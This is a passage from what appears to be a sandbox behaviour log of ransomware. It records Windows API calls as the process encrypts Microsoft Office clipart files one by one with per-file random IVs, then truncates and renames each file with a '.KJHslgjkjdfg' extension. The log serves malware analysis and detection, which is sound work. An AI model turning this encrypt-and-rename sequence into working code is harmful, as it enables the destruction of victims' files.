lpBuffer=0x27d0020, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x984, lpOverlapped=0x0) returned 1 [0187.555] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x990, dwBufLen=0x990 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x990) returned 1 [0187.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.555] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x990, lpOverlapped=0x0) returned 1 [0187.555] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.555] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.555] SetEndOfFile (hFile=0x130) returned 1 [0187.558] GetProcessHeap () returned 0x990000 [0187.558] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.558] GetProcessHeap () returned 0x990000 [0187.558] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.kjhslgjkjdfg")) returned 1 [0187.560] CloseHandle (hObject=0x130) returned 1 [0187.560] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0187.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.561] GetProcessHeap () returned 0x990000 [0187.561] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.561] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.561] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.563] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.563] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.563] GetProcessHeap () returned 0x990000 [0187.563] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.563] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.563] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.563] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.564] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.564] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.564] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.564] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.564] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.564] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.564] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xaac, lpOverlapped=0x0) returned 1 [0187.564] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xab0, dwBufLen=0xab0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xab0) returned 1 [0187.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.564] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xab0, lpOverlapped=0x0) returned 1 [0187.565] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.565] SetEndOfFile (hFile=0x130) returned 1 [0187.567] GetProcessHeap () returned 0x990000 [0187.567] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.567] GetProcessHeap () returned 0x990000 [0187.567] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.kjhslgjkjdfg")) returned 1 [0187.568] CloseHandle (hObject=0x130) returned 1 [0187.569] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0187.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.570] GetProcessHeap () returned 0x990000 [0187.570] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.570] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.570] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.573] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.573] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.573] GetProcessHeap () returned 0x990000 [0187.573] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.573] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.573] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.573] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.573] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.573] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.573] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.573] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.573] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.573] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.574] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c08, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c08, lpOverlapped=0x0) returned 1 [0187.575] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c10) returned 1 [0187.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.575] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c10, lpOverlapped=0x0) returned 1 [0187.575] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.576] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.576] SetEndOfFile (hFile=0x130) returned 1 [0187.579] GetProcessHeap () returned 0x990000 [0187.579] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.579] GetProcessHeap () returned 0x990000 [0187.579] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.kjhslgjkjdfg")) returned 1 [0187.580] CloseHandle (hObject=0x130) returned 1 [0187.580] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0187.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.580] GetProcessHeap () returned 0x990000 [0187.580] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.581] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.581] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0187.583] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.583] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.583] GetProcessHeap () returned 0x990000 [0187.583] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.583] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.583] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.583] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.583] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.583] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.583] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.584] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.584] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.584] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.584] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xda6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xda6, lpOverlapped=0x0) returned 1 [0187.584] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdb0, dwBufLen=0xdb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdb0) returned 1 [0187.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.584] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xdb0, lpOverlapped=0x0) returned 1 [0187.584] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.584] SetEndOfFile (hFile=0x130) returned 1 [0187.587] GetProcessHeap () returned 0x990000 [0187.587] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.587] GetProcessHeap () returned 0x990000 [0187.587] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.kjhslgjkjdfg")) returned 1 [0187.588] CloseHandle (hObject=0x130) returned 1 [0187.588] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0187.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.589] GetProcessHeap () returned 0x990000 [0187.589] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.589] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.590] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0187.592] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.592] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.592] GetProcessHeap () returned 0x990000 [0187.592] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.592] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.592] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.592] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.592] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.592] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.592] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.593] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.593] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.593] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.593] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3a94, lpOverlapped=0x0) returned 1 [0187.594] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3aa0, dwBufLen=0x3aa0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3aa0) returned 1 [0187.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.594] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3aa0, lpOverlapped=0x0) returned 1 [0187.594] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.595] SetEndOfFile (hFile=0x130) returned 1 [0187.597] GetProcessHeap () returned 0x990000 [0187.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.597] GetProcessHeap () returned 0x990000 [0187.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.598] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: 